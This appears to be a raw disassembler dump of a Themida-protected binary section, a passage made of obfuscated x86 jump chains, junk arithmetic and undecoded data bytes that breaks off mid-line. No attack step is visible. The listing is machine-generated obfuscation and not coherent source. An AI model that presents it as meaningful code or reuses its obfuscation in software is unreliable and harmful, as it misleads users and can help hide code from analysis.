CODE XREF: Themida_:00592D7Ej mov [esp], edi mov edi, 7DC2265Ah shr edi, 5 sub edi, 0E148ABDBh mov ebp, edi mov edi, [esp] jmp loc_594DA8 ; --------------------------------------------------------------------------- loc_5A0E6F: ; CODE XREF: Themida_:0059BCE4j sub eax, 0B5873926h push eax jmp loc_5A3C37 ; --------------------------------------------------------------------------- dw 0EB83h dd 2EBC101h, 0FFB908E9h, 5FFD29FFh, 55DE801h, 49C014D5h dd 0EC83D801h, 243C8904h, 0FFE126E9h, 6BF57FFh, 0E90DE91Dh dd 2D03h, 0E92414F6h, 0FFFF63E4h ; --------------------------------------------------------------------------- loc_5A0EB0: ; CODE XREF: Themida_:0059EDC8j xchg ecx, [esp] jmp loc_5A4AA4 ; --------------------------------------------------------------------------- loc_5A0EB8: ; CODE XREF: Themida_:00598225j push 7489h mov [esp], esi jmp loc_595EF2 ; --------------------------------------------------------------------------- loc_5A0EC5: ; CODE XREF: Themida_:0059F4DAj dec ebx jmp loc_593990 ; --------------------------------------------------------------------------- loc_5A0ECB: ; CODE XREF: Themida_:0059C168j sub eax, 329E008Bh add eax, ebx add eax, 329E008Bh mov ebx, [esp] add esp, 4 push esi push ebx jmp loc_594F7D ; --------------------------------------------------------------------------- db 89h dd 59CE89C1h, 0BFFAE958h, 3487FFFFh, 24248B24h, 50241489h dd 0FB99E99Ch, 0E981FFFEh, 1C28162Fh, 730BC181h, 3C8B296Bh dd 4C48124h, 1000000h, 32C181F9h, 521A687Ch, 4215BB53h dd 0CB8132B1h, 36B125DAh, 3E29E381h, 0CB812A86h, 12D81386h dd 0D1FFEB83h, 38C381EBh, 89E693E4h, 2EE95BDAh db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0F4B: ; CODE XREF: Themida_:0059F370j push 6B65h jmp loc_5A13B9 ; --------------------------------------------------------------------------- db 50h, 0B8h, 4 dd 81000000h, 0BC04246Ch, 15F264Ch, 57042444h, 264CBCBFh dd 0E6B6E95Fh, 0EF81FFFFh, 4, 31243C33h, 19E9243Ch db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0F83: ; CODE XREF: Themida_:00593664j push 1993h mov [esp], esi mov esi, 3AFA0A40h add edi, esi pop esi shl edi, 8 neg edi jmp loc_59DA5E ; --------------------------------------------------------------------------- db 81h, 0C6h, 0AFh dd 0E9161B44h, 0FFFF0C3Dh, 9E69D2B8h, 0C2C2E901h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0FB2: ; CODE XREF: Themida_:005932CDj pop dword ptr [esp] jmp loc_59ABBE ; --------------------------------------------------------------------------- dw 815Bh dd 4363B3C2h, 0F7C28124h, 1562C1Ah, 0F7EA81EAh, 0E9562C1Ah dd 0FFFF4F6Ah, 5103EAC0h, 0E5C07AB5h, 1E58003h, 66E3E580h dd 30F7B353h, 44BE9DDh, 0BD550000h, 5BAB19E5h, 0F0B2C581h dd 0CDE9A80Bh db 4Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0FFF: ; CODE XREF: Themida_:005A3281j add esp, 4 sub eax, ebp push ebp mov ebp, 13FF74C4h add eax, 5EDA65DFh add eax, ebp sub eax, 5EDA65DFh pop ebp push dword ptr [esp] pop ebp add esp, 4 push esi push 5D905EA7h pop esi xchg ecx, esi not ecx xchg ecx, esi push 587Ch mov [esp], edi sub esp, 4 mov [esp], ebp mov ebp, 4CE32B8Ch mov edi, ebp pop ebp sub esi, edi mov edi, [esp] add esp, 4 and esi, 4553569Fh push esi jmp loc_59BB55 ; --------------------------------------------------------------------------- loc_5A1055: ; CODE XREF: Themida_:00592E3Cj pop ebx push ebp jmp loc_59D4B6 ; --------------------------------------------------------------------------- dd 84B75358h, 0EFB35352h, 0FFD561E9h, 4C483FFh, 5A2434FFh dd 4C481h, 0FEE90000h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A107B: ; CODE XREF: Themida_:005929F7j pop edx add esp, 4 xor ah, 0F7h add ah, 3Dh push edx jmp loc_5A3183 ; --------------------------------------------------------------------------- loc_5A108B: ; CODE XREF: Themida_:005A0A79j or edi, 736F3DBDh shr edi, 3 add edi, 68BA2EE5h xor ecx, edi pop edi shr ecx, 8 jmp loc_592740 ; --------------------------------------------------------------------------- db 51h, 0B9h, 13h dd 0E909CC3Fh, 0FFFFBD1Ah ; --------------------------------------------------------------------------- loc_5A10B0: ; CODE XREF: Themida_:00596A76j pop edi push ebp jmp loc_59F64F ; --------------------------------------------------------------------------- loc_5A10B7: ; CODE XREF: Themida_:00599F85j mov esi, [esp] push ebx mov ebx, esp jmp loc_5A29A2 ; --------------------------------------------------------------------------- dw 0DFF7h dd 0FEFD2BE9h, 0E9122CFFh, 3D9Eh, 80DAB450h, 3DE984F4h dd 0BAFFFFABh, 46F7741h, 0E95AD129h, 44F7h, 0F0305866h dd 8324148Bh, 0B3E904C4h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A10F7: ; CODE XREF: Themida_:0059CEB3j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 add ecx, 5FF478BFh push 137Bh mov [esp], esi push 5DDFh mov [esp], edi push ebp mov ebp, 7F690717h push 691Eh jmp loc_590E81 ; --------------------------------------------------------------------------- loc_5A1132: ; CODE XREF: Themida_:005A2456j mov ebp, [esp] jmp loc_5A5B04 ; --------------------------------------------------------------------------- word_5A113A dw 8B66h ; DATA XREF: Themida_:00590A4Co dd 5768240Ch, 89000047h, 8B54241Ch, 0DAE9241Ch, 8BFFFF22h dd 0EB812424h, 61B8570Dh, 0BA52CB01h, 7FA0228Fh, 0FEFFC8E9h dd 4C483FFh, 4C3815Bh, 57000000h, 4BFh, 8BFB0100h, 0C483243Ch dd 241C3304h, 33241C31h, 248B241Ch, 43685024h, 0E900004Fh dd 0FFFFF2DAh, 30B75358h, 0FF6A1CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A119D: ; CODE XREF: Themida_:0059DAFAj mov ecx, 258508EAh add ecx, 1 neg ecx or ecx, 20184E38h xor ecx, 0FA7AFF39h mov edi, ecx pop ecx jmp loc_59ED29 ; --------------------------------------------------------------------------- db 50h dd 0AB08B4B8h, 58C5011Fh, 3A33E9h db 0 ; --------------------------------------------------------------------------- loc_5A11C9: ; CODE XREF: Themida_:0059F956j mov [esp], esp jmp loc_59DCBA ; --------------------------------------------------------------------------- db 81h, 0C2h, 0A0h dd 5E30563Fh, 4EC81h, 14890000h, 2474FF24h, 50E95A04h dd 66000012h, 3141E959h, 148BFFFFh, 0E6895624h, 0FF9994E9h dd 59CA89FFh, 0FFB3BFE9h, 0FEC581FFh, 295C424Ch, 0C3295DE8h dd 0FF7915E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1215: ; CODE XREF: Themida_:005A3145j pop esp shl ebx, 4 jmp loc_5A1918 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5D0424h, 248B2404h, 471BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A122E: ; CODE XREF: Themida_:0059362Bj mov [esp], ebx push edx jmp loc_599464 ; --------------------------------------------------------------------------- db 33h dd 665C240Ch, 8B66F801h, 0B668243Ch, 8900002Eh, 5A542414h dd 492068h, 24048900h, 1217DEB8h, 510F350Fh, 0F60D27F8h dd 0E911D746h, 0FFFF73BFh, 5124048Bh, 4B9268h, 24248900h dd 4240483h, 4C18159h, 68000000h, 3828h, 0BA241489h, 5CF617E2h dd 0C104EAC1h, 0F28102EAh, 5FC56D4Bh, 0DFE9DAF7h, 1FFFF79h dd 0F4E95FFAh, 25FFFEF7h, 3F14C7h, 0FFF2B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A12B1: ; CODE XREF: Themida_:005987E1j sub esp, 4 mov [esp], esi pop ebp push dword ptr [esp] jmp loc_5A0883 ; --------------------------------------------------------------------------- db 81h dd 0FE1CD1C3h, 0E9EB0100h, 0FFFF2E48h, 0FFFFB850h, 0C529FFFFh dd 9DBF5758h, 472C0C28h, 1819C781h, 0DFF750A2h, 4326E9h dd 2DE80100h, 7A474299h, 83242C8Bh, 0BA5204C4h, 4, 335AD001h dd 0DDE92404h, 1FFFF7Eh, 0E95357CAh, 0FFFF7AE3h, 4C7815Fh dd 0E9000000h, 25BCh, 8B5EF001h, 0C4832434h, 240C8B04h dd 0E9E78957h, 0FFFF981Fh, 0F65AD430h, 80D4F6DCh, 0E2304AECh dd 0E9D38858h, 0FFFFAD91h, 815B5453h, 4C3h, 4EB8300h, 5C241C87h dd 0B9240C89h, 11974E10h, 0C8BCE29h, 4C48124h, 81000000h dd 0F86E86C6h, 0EAEE8175h, 0E9620105h, 0FFFF61DBh ; --------------------------------------------------------------------------- loc_5A137C: ; CODE XREF: Themida_:005A19DBj sub ecx, edx pop edx xor ecx, [esp] jmp loc_592D66 ; --------------------------------------------------------------------------- loc_5A1387: ; CODE XREF: Themida_:00591EB3j mov ecx, 70C869FCh push edi mov edi, 722150E1h add ecx, edi mov edi, [esp] add esp, 4 add ecx, 72FF6D21h neg ecx sub ecx, 0A503A282h sub edx, ecx pop ecx sub esi, 56EF6FF8h jmp loc_59ABB7 ; --------------------------------------------------------------------------- loc_5A13B9: ; CODE XREF: Themida_:005A0F50j mov [esp], ecx jmp loc_596A10 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 81000000h, 4C2h, 24148700h, 53D9F75Ch, 7F57BA52h, 21E92FA7h dd 0F7FFFF4Dh, 30CBE9DBh, 0C87FFFFh, 4295C24h, 0B9BD5524h dd 14C430Ch, 5D04246Ch, 0FF0FCCE9h, 4C481FFh, 29000000h dd 4E322DD8h, 89517C35h, 0DDE950E1h, 30FFFF12h, 41E9E9E1h dd 76BAFFFFh, 8175DF63h, 0DF6372EAh, 0F845E975h, 2489FFFFh dd 24048324h, 24348B04h, 2764E9h, 805B6600h, 0EA2898F5h dd 0E9CAFE59h, 259Eh, 0F7DAF74Ah, 1038E9D2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A1452: ; CODE XREF: Themida_:00592532j add edx, eax pop eax jmp loc_597932 ; --------------------------------------------------------------------------- loc_5A145A: ; CODE XREF: Themida_:00594F78j xchg ecx, [esp] mov esp, [esp] pop dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push 224Ah mov [esp], edi mov edi, 1 and eax, edi jmp loc_5A41D7 ; --------------------------------------------------------------------------- loc_5A147E: ; CODE XREF: Themida_:00592770j mov eax, 42CC4F4Dh xor eax, 106B6D9Ch jmp loc_595A0A ; --------------------------------------------------------------------------- loc_5A148D: ; CODE XREF: Themida_:005A4288j pop edi add edi, 4 jmp loc_59C144 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 0FF07A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A14A1: ; CODE XREF: Themida_:005A1CD8j add eax, 4 push 4C34h mov [esp], esi mov esi, 4 sub eax, esi pop esi xchg eax, [esp] pop esp mov [esp], ebx push esp mov ebx, [esp] add esp, 4 push ebp mov ebp, 4 add ebx, ebp pop ebp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_5A1FEE ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 21E95A04h, 57000037h, 0C1815F5Bh, 4CF7D1Dh, 0E981D929h dd 4CF7D1Dh, 0FF0AA5E9h, 246C01FFh, 48F5D04h, 4C126824h dd 3C890000h, 2B60BF24h, 0B9E9687Dh, 0BBFFFFEFh, 36127B59h dd 34FFDA89h, 0C4815B24h, 4, 175C5A05h, 0FAE95112h, 89FFFF5Eh dd 4812424h, 424h, 83E7E900h, 3C89FFFFh, 66F36824h, 4890000h dd 490AB824h, 226875EFh, 89000039h, 0C1B9240Ch, 8159C91Bh dd 0D237A0F1h, 81D9F77Fh, 0C03EB6F1h, 0ACC18132h, 0E95FEA7Ch dd 0FFFF0429h, 0FE085866h, 8B33E95Bh, 0D830FFFFh, 81E28952h dd 4C2h, 4EA8300h, 467E9h, 241CF700h, 83243C8Bh, 814F04C4h dd 4365A1EFh, 3532E9EDh, 60680000h, 0E900006Ah, 0FFFFF4DBh ; --------------------------------------------------------------------------- loc_5A15BC: ; CODE XREF: Themida_:0059777Bj or ecx, ebx pop ebx add ecx, 0DCC9A0F1h jmp loc_59F581 ; --------------------------------------------------------------------------- dw 0E2D0h dd 0E904EC83h, 272Eh ; --------------------------------------------------------------------------- loc_5A15D4: ; CODE XREF: Themida_:005A2FDAj mov ebp, [esp] push ebp push esp pop ebp add ebp, 4 push edx jmp loc_5915CA ; --------------------------------------------------------------------------- loc_5A15E6: ; CODE XREF: Themida_:0059493Dj ; Themida_:00597E05j ... push dword ptr [edi+24h] push dword ptr [esp] jmp loc_5A2748 ; --------------------------------------------------------------------------- db 0B9h, 9Ch, 5Ah dd 4C0129ADh, 0E9590424h, 0FFFEF49Bh, 4EC81h, 14890000h dd 96E95124h db 4Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A160F: ; CODE XREF: Themida_:0059F6E8j pop eax jmp loc_5945A2 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 216368h, 243C8900h, 0C781E789h, 4, 0A1DDE950h, 2C89FFFFh dd 0E9E58924h, 0FFFF43E7h, 7A4468h, 1B5DE900h, 0EC68FFFFh dd 89000048h, 0C8E9240Ch db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A164F: ; CODE XREF: Themida_:00598C23j add ecx, 31F471D4h add ecx, edi jmp loc_591D18 ; --------------------------------------------------------------------------- dd 42474FFh, 5224348Bh, 0BB53E289h, 569221CAh, 0FF079FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1671: ; CODE XREF: Themida_:0059E901j shl edx, 1 sub esp, 4 mov [esp], edi mov edi, 0C2C30D4h and edx, edi pop edi push ebx mov ebx, 1B8774EDh jmp loc_5931C6 ; --------------------------------------------------------------------------- dd 20E9525Ch, 58000016h, 4C481h, 0C2010000h, 4D2DB850h dd 0D0F74B63h, 2368E9h db 0 ; --------------------------------------------------------------------------- loc_5A16A9: ; CODE XREF: Themida_:0059D038j mov [esp], eax jmp loc_598E14 ; --------------------------------------------------------------------------- loc_5A16B1: ; CODE XREF: Themida_:005932B5j inc esi jmp loc_59B6C7 ; --------------------------------------------------------------------------- loc_5A16B7: ; CODE XREF: Themida_:00596868j push ebp mov ebp, 2F9014E8h sub ebp, 47C03A7Ch jmp loc_5A201A ; --------------------------------------------------------------------------- dd 0BA241489h, 4, 0FF980FE9h, 0E1568FFh, 0C15E6D94h, 0C68105E6h dd 0C2EB9F22h, 505EF289h, 0B87B30B8h, 25D0F77Fh, 6255483Eh dd 449A5935h, 0D0C28112h, 810D8331h, 89475CC2h, 23EA8106h dd 5029D02Bh, 534D8BB8h, 0ACBA5254h, 315E0348h, 0D8F75AD0h dd 21213935h, 0D5BF5724h, 81148307h, 830098EFh, 2E7C12Eh dd 0FF816CE9h, 0E8F181FFh, 8149F921h, 4E2BEDE9h, 19C6819Fh dd 0E95AA853h, 0FFFEF776h dword_5A174C dd 9D1C77FFh, 4105866h, 7FE99C24h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A175B: ; CODE XREF: Themida_:00595823j mov esi, 7F551ACh jmp loc_594C0A ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 51h dd 89FFFFD2h, 43685BDAh, 89000064h, 57B9240Ch, 2904D725h dd 240C8BCFh, 0FF358EE9h, 7BE180FFh, 8012E180h, 0ACE980C1h db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1793: ; CODE XREF: Themida_:00595EC0j add ebp, edi mov edi, [esp] add esp, 4 jmp loc_591183 ; --------------------------------------------------------------------------- loc_5A17A3: ; CODE XREF: Themida_:005938C7j and eax, edi push dword ptr [esp] jmp loc_598283 ; --------------------------------------------------------------------------- db 81h, 0EDh, 0ABh dd 0E94F1812h, 0FFFF2ADBh, 0FEE95A58h db 32h, 2 dup(0FFh) byte_5A17BF db 0ADh ; DATA XREF: Themida_:005909B4o dd 0FF9081E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A17C5: ; CODE XREF: Themida_:00598DD4j mov ebp, [esp] add esp, 4 add ebp, 4 push ebx mov ebx, 4 jmp loc_5A5866 ; --------------------------------------------------------------------------- aWsA db ']Wé²A',0 dw 100h dd 0C68158C1h, 5C1B2098h, 0FF76DDE9h, 0A2D1B8FFh, 0C331EF4Dh dd 22ED8158h, 1747911h, 22C581DDh, 5B747911h, 279E68h dd 84E900h db 2 dup(0) word_5A1812 dw 8B66h ; DATA XREF: Themida_:00590920o dd 8952240Ch, 436851E2h, 89000037h, 0F3E92414h, 5AFFFFFBh dd 95E95455h, 40FFFF2Ch, 0FFD67BE9h, 0ACB850FFh, 1173532h dd 24048BC3h, 4C481h, 0BD550000h, 4F96261Bh, 15DEB01h dd 1BEB81CBh, 814F9626h, 3532ACEBh, 2434FF17h, 55240C8Bh dd 0FF21D1E9h db 0FFh byte_5A1869 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005909DCo aHA db '$hÊa',0 align 2 dw 1489h dd 34FF5424h, 39C1E924h, 0E95E0000h, 0FFFF374Bh, 3E1584BAh dd 0E8A0E90Ah db 2 dup(0FFh) word_5A188E dw 0FF64h ; DATA XREF: Themida_:005908E8o dd 0F205E932h, 2C89FFFEh, 2474FF24h, 242C8B04h, 334568h dd 24348900h, 0C681E689h, 4, 0E904C683h, 1260h ; --------------------------------------------------------------------------- loc_5A18B8: ; CODE XREF: Themida_:005987FAj push edi mov edi, 36543737h neg edi jmp loc_59EECD ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 aPsd db 'Pé¤',8,0 align 2 dw 0A468h dd 0E901DD5Eh, 0FFFFA6E5h, 4C481h, 0F9010000h, 0FF22E2E9h dd 8E0C1FFh, 767A7A2Dh, 0D4F9E913h, 159FFFFh, 0C2835DEAh dd 0FD83E904h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A18FE: ; CODE XREF: Themida_:00593CECj pop ecx push dword ptr [esp] jmp loc_599F5C ; --------------------------------------------------------------------------- db 89h dd 83BA2414h, 296A7F20h, 0E9082454h, 0FFFF2052h ; --------------------------------------------------------------------------- loc_5A1918: ; CODE XREF: Themida_:005A1219j push esi mov esi, 0C6E2C66h jmp loc_595841 ; --------------------------------------------------------------------------- db 89h dd 0EC83241Ch, 10A7E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A192E: ; CODE XREF: Themida_:00592A33j xchg ebp, [esp] pop esp pop eax rep movsd add esp, [edx+38h] push 3FEBh jmp loc_59BD12 ; --------------------------------------------------------------------------- loc_5A1942: ; CODE XREF: Themida_:0059CE93j add edi, 4573456Ah jmp loc_5A2D54 ; --------------------------------------------------------------------------- db 29h, 4, 24h dd 0F145E99Ch, 0C483FFFEh, 0B4506602h, 3EDEE96Fh, 0E7810000h dd 3110F07h, 0FFB89AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A196D: ; CODE XREF: Themida_:00593F2Dj pop eax jmp loc_5A551F ; --------------------------------------------------------------------------- aXch6p db 'X–h6P',0 align 2 dw 2C89h dd 73A4BD24h, 0EDC14C26h, 0D1D5F703h, 136E9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A198E: ; CODE XREF: Themida_:0059EAA6j pop esp jmp loc_595178 ; --------------------------------------------------------------------------- dd 3A0483B8h, 0E9C1016Ch, 0FFFFCB3Ah ; --------------------------------------------------------------------------- loc_5A19A0: ; CODE XREF: Themida_:005932F2j ; Themida_:005A036Cj push 34D9h jmp loc_5A5439 ; --------------------------------------------------------------------------- dw 405h dd 68000000h, 4CDh, 83240C89h, 148904ECh, 906824h, 0C15A56CDh dd 0F4E904E2h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A19CB: ; CODE XREF: Themida_:005972F0j pop ecx sub edx, 4A4863F7h shl edx, 3 sub edx, 5EF2304h jmp loc_5A137C ; --------------------------------------------------------------------------- dd 0CE68F1F7h, 89000052h db 34h byte_5A19E9 db 24h, 89h, 0E6h ; DATA XREF: Themida_:00590C58o dd 485E9h db 0 ; --------------------------------------------------------------------------- loc_5A19F1: ; CODE XREF: Themida_:0059B866j add esp, 4 push 2A21h mov [esp], ebx jmp loc_5A2B10 ; --------------------------------------------------------------------------- dd 5C241487h, 53240C89h, 7FB13FB7h, 1C8BF930h, 3D7EE924h dd 0E951FFFFh, 0FFFF5E5Ah, 3E040C04h, 61345D2Ch, 8058C200h dd 0D030E5C2h, 5F54575Ah, 0FF98D8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1A39: ; CODE XREF: Themida_:0059C1F4j mov eax, 0A950399h sub eax, 21FE42F9h neg eax shr eax, 4 shr eax, 8 add eax, 7DC0DD6Bh xor esi, eax pop eax jmp loc_591836 ; --------------------------------------------------------------------------- dd 4C381h, 0C3810000h, 4, 0E9241C87h, 0FFFF220Dh dword_5A1A6C dd 24048B66h, 0FF84C3E9h, 242489FFh, 4240483h, 0FF28E958h ; DATA XREF: Themida_:00590A38o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1A82: ; CODE XREF: Themida_:0059A06Dj push ecx mov ecx, 56D1389Eh xor ebp, ecx pop ecx jmp loc_598190 ; --------------------------------------------------------------------------- dword_5A1A90 dd 0E932FF66h, 0FFFFAEEEhdword_5A1A98 dd 0A9BFE9ADh, 6857FFFFh, 21B0h, 0B9240C89h, 13EF31A7h ; DATA XREF: Themida_:00590974o dd 4DD5C181h, 0C149123Eh, 0F18103E1h, 316BFBDCh, 0E959CF89h dd 0FFFFA9B9h, 4910E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1ACA: ; CODE XREF: Themida_:005912BEj sub ebp, 0EA306414h add ebx, ebp pop ebp add ebx, eax push 3B2h mov [esp], edi mov edi, 3CF6196Dh or edi, 0E7B4334h push edx mov edx, 53AC1C1Eh or edx, 4FBD7CCDh jmp loc_5A3E30 ; --------------------------------------------------------------------------- loc_5A1AF9: ; CODE XREF: Themida_:005A5273j pop ebx jmp loc_5911BD ; --------------------------------------------------------------------------- db 81h dd 4C1h, 0F671E900h, 0C681FFFEh, 5C69D910h, 0FEF5A5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1B15: ; CODE XREF: Themida_:005A087Ej mov ebx, 3C1B63FAh shr ebx, 5 push edx jmp loc_59AB43 ; --------------------------------------------------------------------------- db 5Dh dd 50E68956h, 372B03B8h, 0AF5EE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1B32: ; CODE XREF: Themida_:0059F285j mov esp, [esp] jmp loc_59B349 ; --------------------------------------------------------------------------- dw 0ED81h dd 562F7FF9h, 79A1ED81h, 0EF01E9C7h, 4C7815Dh, 0E9000000h dd 0FFFF02E2h, 3269E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A1B5A: ; CODE XREF: Themida_:005957ADj push edx xor dword ptr [esp], 1860ECBh mov eax, [esp] add esp, 4 jmp loc_5947CA ; --------------------------------------------------------------------------- loc_5A1B70: ; CODE XREF: Themida_:00594CAFj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push 238Eh mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add eax, 0F1CFFD88h push eax add dword ptr [esp], 271F7617h pop esi sub esi, 271F7617h mov eax, [esp] push 5B68h mov [esp], esi mov esi, esp add esi, 4 jmp loc_5980C7 ; --------------------------------------------------------------------------- loc_5A1BC3: ; CODE XREF: Themida_:00593750j pop ebp jmp loc_591B4F ; --------------------------------------------------------------------------- loc_5A1BC9: ; CODE XREF: Themida_:005A08D5j sub eax, 273B2834h push dword ptr [esp] pop ebp add esp, 4 mov ecx, [esp] push ebp mov ebp, esp jmp loc_594591 ; --------------------------------------------------------------------------- dd 36E9D329h, 81000003h, 4C1h, 4C18300h, 8B240C87h, 99E92424h dd 51FFFF7Eh, 0A0E9AEB5h, 89FFFFB7h, 0B7BF243Ch, 8146EA16h dd 553F9EC1h, 81F90174h, 553F9EE9h, 0EF055F74h, 10A7E0Ch dd 4EC83C8h, 0BA241489h, 0A7E0CEFh, 63E9D029h, 83FFFFD0h dd 2C8904ECh, 0E642E924h, 0EB81FFFFh, 4E9B6EF0h, 5BEB8158h dd 14F0126h, 48E95BDAh db 0EEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A1C53: ; CODE XREF: Themida_:0059B155j pop ebx push ecx mov ecx, 52121C00h jmp loc_59D5EE ; --------------------------------------------------------------------------- db 59h dd 50BFBD55h, 0F5812C3Dh, 64627865h, 8B5DE929h, 89562434h dd 4C681E6h, 81000000h, 4C6h, 24348700h, 0FFF4C6E9h, 5DE95CFFh dd 68FFFF05h, 4AD1h, 24048F54h, 4240481h, 5A000000h, 117EBE56h dd 0D6F75E23h, 1A5DC681h, 0CE90ADFh, 0FFFFFFDAh, 815B2434h dd 4C4h, 74FF5500h, 8F5D0424h, 49E92404h, 8BFFFF2Ah, 0C4832404h dd 8AE95304h db 5Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1CD7: ; CODE XREF: Themida_:0059BB6Aj pop eax jmp loc_5A14A1 ; --------------------------------------------------------------------------- loc_5A1CDD: ; CODE XREF: Themida_:0059D50Dj add al, dh add al, 0B4h push bx mov bh, 48h sub al, bh pop bx pop edx sub bl, 4Ch add bl, 22h add bl, al jmp loc_5A4B53 ; --------------------------------------------------------------------------- db 33h dd 0C3E9242Ch, 0FFFFF31h, 34FFC0B6h, 0ED91E987h, 1489FFFEh dd 0EE7BE924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5A1D12: ; CODE XREF: Themida_:0059BA16j add esp, 4 mov bl, ch mov ecx, [esp] add esp, 4 add al, bl jmp loc_595741 ; --------------------------------------------------------------------------- word_5A1D2A dw 248Bh ; DATA XREF: Themida_:005907C0o dd 6336E924h, 70BFFFFFh, 0E94D4C19h, 0FFFF7721h, 0C7FDEA81h dd 40E90203h db 31h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1D47: ; CODE XREF: Themida_:0059541Cj xchg ebp, [esp] pop esp push eax mov al, 0F2h jmp loc_597413 ; --------------------------------------------------------------------------- db 5Ch dd 2C381h, 1C870000h, 40E5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1D62: ; CODE XREF: Themida_:005934B9j add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_5A08EE ; --------------------------------------------------------------------------- db 58h, 83h, 0C4h dd 9ABD5504h, 8143D958h, 0FD3395F5h, 92AE93Bh, 0F781FFFFh dd 57AD4A58h, 4CF8E781h, 0F781031Dh, 4125251Fh, 0D255C781h dd 0F989BDCEh, 59CE015Fh, 0FF8BF8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1DAD: ; CODE XREF: Themida_:0059DBB7j add esi, 4 add esi, 4 xor esi, [esp] jmp loc_5A2858 ; --------------------------------------------------------------------------- loc_5A1DBE: ; CODE XREF: Themida_:00591BAEj jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A1DC3: ; CODE XREF: Themida_:005A2F89j xor ebp, esi pop esi add ebp, 1 push 0EF9h jmp loc_5A47E9 ; --------------------------------------------------------------------------- loc_5A1DD6: ; CODE XREF: Themida_:005981B3j add edi, 0EB3CD13Bh and eax, edi pop edi shl eax, 2 xor eax, 1E1873A2h add eax, 43FF15E1h sub eax, 1 jmp loc_5950DF ; --------------------------------------------------------------------------- dw 0C780h dd 66FA305Ch, 81241C8Bh, 2C4h, 30F0E900h, 0E95FFFFFh, 0FFFFED27h ; --------------------------------------------------------------------------- loc_5A1E10: ; CODE XREF: Themida_:00599A36j pop ebp push edi push edx jmp loc_59BBC3 ; --------------------------------------------------------------------------- dd 53F9F75Ch, 0C381E389h, 4, 4EC8157h, 89000000h, 0E268242Ch dd 0E9440251h, 0FFFF0D06h, 0B9515542h, 4D09D758h, 0A1E9CD89h dd 0E9FFFF36h, 0FFFEEC4Fh, 83243C8Bh, 545504C4h, 0FF2B69E9h dd 241C8BFFh, 104C483h, 348759CEh, 0C3315C24h, 2CE9C231h dd 29FFFEECh, 54B2E9F5h, 0EC83FFFFh, 24348904h, 0FFC2EBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A1E81: ; CODE XREF: Themida_:005A43C8j pop edi add ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_59A4A2 ; --------------------------------------------------------------------------- db 59h dd 83242C8Bh, 348904ECh, 8996E924h db 2 dup(0FFh) word_5A1EA2 dw 34FFh ; DATA XREF: Themida_:005909E4o dd 2434FF24h, 0FFAE0BE9h, 58C629FFh, 5C243487h, 0E9240489h dd 0FFFFC329h, 0BD242C89h, 5C4A2709h, 0F9E6AF68h, 243C8B08h dd 4C481h, 0EF010000h, 5FF8315Dh, 91AEA81h, 0C2814F60h dd 2E241A6Ch, 0EA81C201h, 2E241A6Ch, 91AB951h, 7E94F60h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1EF7: ; CODE XREF: Themida_:0059ABB2j push eax mov eax, 760E70C6h not eax push ecx mov ecx, 0BAA733Fh neg ecx not ecx inc ecx jmp loc_59DCEF ; --------------------------------------------------------------------------- db 53h dd 0FFBE33E9h, 5D515EFFh, 0FFA955E9h, 29EB81FFh, 8B5A712Eh dd 3EE92414h, 0FFFFFFF1h, 835A2434h, 0E95504C4h, 0FFFFE90Dh dd 7AF4E981h, 0CA31DFDBh, 0BDEA8159h, 513657D4h, 1C1731B9h dd 0FFCE2969h, 7CE92434h, 